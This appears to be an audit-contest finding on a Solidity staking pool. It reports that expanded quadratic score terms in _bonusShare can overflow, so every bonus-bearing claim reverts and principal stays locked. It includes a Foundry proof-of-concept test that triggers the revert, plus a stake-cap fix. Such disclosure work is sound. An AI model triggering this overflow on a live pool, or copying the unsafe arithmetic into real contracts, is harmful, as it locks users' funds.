FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Unbounded quadratic score intermediates can permanently lock all staker claims

Author Revealed upon completion

Description

  • Normally, the pool calculates each staker’s bonus using the quadratic score stake × (T − entryTime)². The final share is calculated with Math.mulDiv, allowing a precise multiplication and division without
    overflowing the final numerator.

  • The pool accepts stake without limiting the aggregate raw token amount. _bonusShare expands the quadratic formula into several ordinary uint256 intermediates. These intermediates can overflow before their
    terms cancel, even when the true quadratic score fits in uint256.

  • Once the overflowing aggregate is snapshotted, every bonus-bearing SURVIVED or EXPIRED claim reverts. The pool remains solvent, but principal and bonus remain reserved and inaccessible.

function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
if (riskWindowStart == 0) return 0;
uint256 T = outcomeFlaggedAt;
// @> These expanded positive terms can overflow before the
// @> corresponding negative terms are subtracted.
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
// @> The global term is evaluated for every claimant.
// @> Math.mulDiv is only used after this unsafe construction.
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
if (globalScore == 0) {
if (snapshotTotalStaked == 0) return 0;
return Math.mulDiv(userEligible, snapshotTotalBonus, snapshotTotalStaked);
}
return Math.mulDiv(userScore, snapshotTotalBonus, globalScore);

Risk

Likelihood: Low

  • This occurs when an allowlisted token has a sufficiently large raw supply or unusually high decimals and the aggregate stake exceeds the timestamp-dependent arithmetic bound.

  • This occurs after an observed risk window and a nonzero bonus are snapshotted into a SURVIVED or EXPIRED outcome.

Impact:

  • Every staker’s principal and bonus claim can revert indefinitely.

  • sweepUnclaimedBonus continues reserving the locked liabilities, leaving no alternative recovery path.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {stdError} from "forge-std/StdError.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
/// "Accepted large stake can overflow expanded terminal score and lock all bonus-bearing claims".
contract AcceptedLargeStakeCanOverflowExpandedTerminalScoreAndLockAllBonusBearingClaimsPoC is
BaseConfidencePoolTest
{
function test_PoC_ExpandedTerminalScoreOverflowLocksEveryClaim() external {
uint256 terminalTime = type(uint32).max;
uint256 entryTime = terminalTime - 1;
uint256 expandedCoefficient = terminalTime * terminalTime + entryTime * entryTime;
uint256 minimalOverflowingAggregate = type(uint256).max / expandedCoefficient + 1;
// This is the exact boundary: one raw unit less keeps the expanded positive term valid.
assertLe((minimalOverflowingAggregate - 1) * expandedCoefficient, type(uint256).max);
assertGt(minimalOverflowingAggregate, type(uint256).max / expandedCoefficient);
pool.setExpiry(terminalTime);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(entryTime);
// Alice is an unrelated honest claimant. Bob supplies the rest of the boundary aggregate.
_stakeRaw(alice, ONE);
_stakeRaw(bob, minimalOverflowingAggregate - ONE);
_contributeBonus(carol, 1);
// Every moment written during stake fits and commits successfully.
assertEq(pool.totalEligibleStake(), minimalOverflowingAggregate);
assertEq(pool.sumStakeTimeSq(), minimalOverflowingAggregate * entryTime * entryTime);
vm.warp(terminalTime);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
// The true score fits, but the expanded global positive term overflows before cancellation.
vm.expectRevert(stdError.arithmeticError);
vm.prank(alice);
pool.claimSurvived();
vm.expectRevert(stdError.arithmeticError);
vm.prank(bob);
pool.claimSurvived();
}
}

Run with:

forge test --mt test_PoC_ExpandedTerminalScoreOverflowLocksEveryClaim

Recommended Mitigation

Enforce a maximum aggregate raw stake that remains safe at the maximum supported timestamp. This also helps mitigate the related risk-start overflow.

+ error MaximumTotalStakeExceeded();
+ uint256 private constant _MAX_SAFE_TOTAL_STAKE =
+ type(uint256).max / ( 2 * uint256(type(uint32).max) * uint256(type(uint32).max));
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (received < minStake) revert BelowMinStake();
+ uint256 newTotalEligibleStake = totalEligibleStake + received;
+ if (newTotalEligibleStake > _MAX_SAFE_TOTAL_STAKE) {
+ revert MaximumTotalStakeExceeded();
+ }
- totalEligibleStake += received;
+ totalEligibleStake = newTotalEligibleStake;
}

A stronger long-term solution is to replace the expanded quadratic formula with an overflow-safe representation or full-precision calculation.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!